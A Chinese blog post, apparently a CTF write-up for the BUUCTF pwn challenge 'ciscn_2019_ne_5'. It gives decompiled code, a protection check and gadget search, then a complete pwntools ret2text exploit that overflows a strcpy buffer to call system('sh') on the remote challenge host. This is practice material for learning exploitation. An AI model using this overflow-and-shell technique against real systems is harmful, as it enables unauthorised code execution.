Zephyr's Repository Zephyr's Repository
首页
笔记
技术
更多
收藏
关于
  • 📂 分类
  • 🏷️ 标签
  • 📅 归档

Zephyr

偷得浮生半日闲
首页
笔记
技术
更多
收藏
关于
  • 📂 分类
  • 🏷️ 标签
  • 📅 归档
  • Web

  • PWN

    • test your nc
    • rip
    • warmup csaw 2016
    • ciscn 2019 n 1
    • pwn1 sctf 2016
    • jarvisoj level0
    • ciscn 2019 c 1
    • 第五空间2019 决赛 PWN5
    • ciscn 2019 n 8
    • jarvisoj level2
    • OGeek2019 babyrop
    • get started 3dsctf 2016
    • bjdctf 2020 babystack
    • ciscn 2019 en 2
    • HarekazeCTF2019 baby rop
    • jarvisoj level2 x64
    • not the same 3dsctf 2016
    • ciscn 2019 n 5
    • others shellcode
    • ciscn 2019 ne 5
      • 前提
        • 查看文件保护
      • 静态分析
      • 思路分析
      • exp
    • 铁人三项(第五赛区) 2018 rop
    • bjdctf 2020 babyrop
    • bjdctf 2020 babyrop2
    • jarvisoj fm
    • pwn2 sctf 2016
    • babyheap 0ctf 2017
    • HarekazeCTF2019_baby_rop2
    • ciscn 2019 es 2
    • ciscn 2019 s 3
    • jarvisoj tell me something
    • jarvisoj level3
    • ez pz hackover 2016
    • picoctf 2018 rop chain
    • Black Watch 入群题 PWN
    • jarvisoj level4
    • jarvisoj level3 x64
    • bjdctf 2020 babyrop2
    • ZJCTF 2019 EasyHeap
    • pwnable orw
    • wustctf2020 getshell
    • bjdctf 2020 router
    • hitcontraining uaf
    • picoctf 2018 buffer overflow 1
    • jarvisoj test your memory
    • mrctf2020 shellcode
    • inndy rop
    • picoctf 2018 buffer overflow 2
    • cmcc simplerop
    • xdctf2015 pwn200
    • bbys tu 2016
    • mrctf2020 easyoverflow
    • wustctf2020 getshell 2
    • ZJCTF 2019 Login
    • babyfengshui 33c3 2016
    • jarvisoj level1
    • ciscn 2019 s 4
    • ciscn 2019 n 3
    • hitcontraining magicheap
    • axb 2019 fmt32
    • gyctf 2020 borrowstack
    • wustctf2020 closed
    • pwnable start
    • others babystack
    • 0ctf 2017 babyheap
    • hitcontraining heapcreator
    • roarctf 2019 easy pwn
  • 笔记
  • PWN
Zephyr
2022-03-22
目录

ciscn 2019 ne 5

# ciscn 2019 ne 5

# 前提

# 查看文件保护

[*] '/root/pwn/buuctf/ciscn_2019_ne_5/ciscn_2019_ne_5'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
1
2
3
4
5
6

# 静态分析

主函数如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // [esp+0h] [ebp-100h]
  char src[4]; // [esp+4h] [ebp-FCh]
  char v5; // [esp+8h] [ebp-F8h]
  char s1[4]; // [esp+84h] [ebp-7Ch]
  char v7; // [esp+88h] [ebp-78h]
  const char *v8; // [esp+E8h] [ebp-18h]
  int *v9; // [esp+ECh] [ebp-14h]
  int *v10; // [esp+F4h] [ebp-Ch]

  v10 = &argc;
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  fflush(stdout);
  *(_DWORD *)s1 = 48;
  memset(&v7, 0, 0x60u);
  *(_DWORD *)src = 48;
  memset(&v5, 0, 0x7Cu);
  puts("Welcome to use LFS.");
  printf("Please input admin password:");
  __isoc99_scanf();
  if ( strcmp(s1, "administrator") )
  {
    puts("Password Error!");
    exit(0);
  }
  puts("Welcome!");
  while ( 1 )
  {
    puts("Input your operation:");
    puts("1.Add a log.");
    puts("2.Display all logs.");
    puts("3.Print all logs.");
    printf("0.Exit\n:");
    v9 = &v3;
    v8 = "%d";
    __isoc99_scanf();
    switch ( v3 )
    {
      case 0:
        exit(0);
        return;
      case 1:
        AddLog(src);
        break;
      case 2:
        Display(src);
        break;
      case 3:
        Print();
        break;
      case 4:
        GetFlag(src);
        break;
      default:
        continue;
    }
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61

AddLog函数如下

int AddLog(int a1)
{
  printf("Please input new log info:");
  return __isoc99_scanf("%128s",a1);
}
1
2
3
4
5

Display函数如下

int __cdecl Display(char *s)
{
  return puts(s);
}
1
2
3
4

Print函数如下

int Print()
{
  return system("echo Printing......");
}
1
2
3
4

GetFlag函数如下

int __cdecl GetFlag(char *src)
{
  char dest[4]; // [esp+0h] [ebp-48h]
  char v3; // [esp+4h] [ebp-44h]

  *(_DWORD *)dest = 48;
  memset(&v3, 0, 0x3Cu);
  strcpy(dest, src);
  return printf("The flag is your log:%s\n", dest);
}
1
2
3
4
5
6
7
8
9
10

Gadget

ROPgadget --binary ciscn_2019_ne_5 --string "sh\x00" 
Strings information
============================================================
0x080482ea : sh
1
2
3
4

# 思路分析

  1. 目前信息:
    • password是administrator
    • 存在栈溢出漏洞
    • plt内有system
    • 有sh字符串
    • No PIE
    • NX 保护开启
  2. 思路:
    • GetFlag函数将拷贝AddLog函数所写入的数据,而__isoc99_scanf并未限制写入长度,由此造成溢出,有system和sh,ret2text即可

# exp

from pwn import *
context(os='linux', arch='i386', log_level='debug')
pwnfile = '/root/pwn/buuctf/ciscn_2019_ne_5/ciscn_2019_ne_5'
io = remote('node4.buuoj.cn', 27766)
# io = process(pwnfile)
elf = ELF(pwnfile)
io.sendline('administrator')
io.sendlineafter('0.Exit\n', '1')
padding = 0x48+4
system_addr = elf.symbols['system']
sh_addr = 0x80482ea
payload = flat(['a'*padding, system_addr, 0xdeadbeef, sh_addr])
io.sendline(payload)
io.sendline('4')
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#buuctf#pwn#StackOverflow
上次更新: 2022/08/15, 00:29:49
others shellcode
铁人三项(第五赛区) 2018 rop

← others shellcode 铁人三项(第五赛区) 2018 rop→

最近更新
01
0CTF 2016 piapiapia
07-23
02
CISCN 2019 初赛 Love
07-22
03
PHP反序列化
07-21
更多文章>
Theme by Vdoing | Copyright © 2021-2022 Zephyr | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式
×